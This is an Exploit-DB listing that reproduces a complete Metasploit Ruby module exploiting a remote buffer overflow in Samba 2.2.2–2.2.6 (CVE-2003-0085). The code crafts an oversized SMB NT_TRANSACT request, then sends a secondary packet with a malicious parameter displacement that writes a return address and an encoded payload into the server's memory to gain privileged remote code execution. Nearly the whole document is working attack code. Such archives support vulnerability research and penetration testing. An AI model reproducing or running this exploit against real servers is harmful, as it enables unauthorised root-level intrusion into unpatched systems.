标题: Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1) EDB-ID: 16321 CVE: 2003-0085 类型: REMOTE 平台: LINUX 发布日期: 2010-04-28 漏洞利用脚本: ##
# $Id: nttrans.rb 9167 2010-04-28 03:54:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::SMB

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',
   'Description'    => %q{
     This module attempts to exploit a buffer overflow vulnerability present in
    versions 2.2.2 through 2.2.6 of Samba.

    The Samba developers report this as:
    "Bug in the length checking for encrypted password change requests from clients."

    The bug was discovered and reported by the Debian Samba Maintainers.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9167 $',
   'References'     =>
    [
     [ 'CVE', '2003-0085' ],
     [ 'OSVDB', '6323' ],
     [ 'BID', '7106' ],
     [ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'MinNops'  => 512,
    },
   'Targets'        =>
    [
     [ "Samba 2.2.x Linux x86",
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux',
       'Rets' => [0x01020304, 0x41424344],
      },
     ],
    ],
   'DisclosureDate' => 'Apr 7 2003'
   ))

  register_options(
   [
    Opt::RPORT(139)
   ], self.class)
 end

 def exploit

  # 0x081fc968

  pattern = Rex::Text.pattern_create(12000)

  pattern[532, 4] = [0x81b847c].pack('V')
  pattern[836, payload.encoded.length] = payload.encoded

  # 0x081b8138

  connect
  smb_login

  targ_address = 0xfffbb7d0

  #
  # Send a NTTrans request with ParameterCountTotal set to the buffer length
  #

  subcommand   = 1
  param        = ''
  body         = ''
  setup_count  = 0
  setup_data   = ''
  data = param + body

  pkt = CONST::SMB_NTTRANS_PKT.make_struct
  self.simple.client.smb_defaults(pkt['Payload']['SMB'])

  base_offset = pkt.to_s.length + (setup_count * 2) - 4
  param_offset = base_offset
  data_offset = param_offset + param.length

  pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
  pkt['Payload']['SMB'].v['Flags1'] = 0x18
  pkt['Payload']['SMB'].v['Flags2'] = 0x2001
  pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count

  pkt['Payload'].v['ParamCountTotal'] =12000
  pkt['Payload'].v['DataCountTotal'] = body.length
  pkt['Payload'].v['ParamCountMax'] = 1024
  pkt['Payload'].v['DataCountMax'] = 65504
  pkt['Payload'].v['ParamCount'] = param.length
  pkt['Payload'].v['ParamOffset'] = param_offset
  pkt['Payload'].v['DataCount'] = body.length
  pkt['Payload'].v['DataOffset'] = data_offset
  pkt['Payload'].v['SetupCount'] = setup_count
  pkt['Payload'].v['SetupData'] = setup_data
  pkt['Payload'].v['Subcommand'] = subcommand

  pkt['Payload'].v['Payload'] = data

  self.simple.client.smb_send(pkt.to_s)
  ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)

  #
  # Send a NTTrans secondary request with the magic displacement
  #

  param = pattern
  body  = ''
  data  = param + body

  pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
  self.simple.client.smb_defaults(pkt['Payload']['SMB'])

  base_offset = pkt.to_s.length - 4
  param_offset = base_offset
  data_offset = param_offset + param.length

  pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
  pkt['Payload']['SMB'].v['Flags1'] = 0x18
  pkt['Payload']['SMB'].v['Flags2'] = 0x2001
  pkt['Payload']['SMB'].v['WordCount'] = 18

  pkt['Payload'].v['ParamCountTotal'] = param.length
  pkt['Payload'].v['DataCountTotal'] = body.length
  pkt['Payload'].v['ParamCount'] = param.length
  pkt['Payload'].v['ParamOffset'] = param_offset
  pkt['Payload'].v['ParamDisplace'] = targ_address
  pkt['Payload'].v['DataCount'] = body.length
  pkt['Payload'].v['DataOffset'] = data_offset

  pkt['Payload'].v['Payload'] = data

  self.simple.client.smb_send(pkt.to_s)
  ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)


  handler

 end

end URL: https://www.exploit-db.com/exploits/16321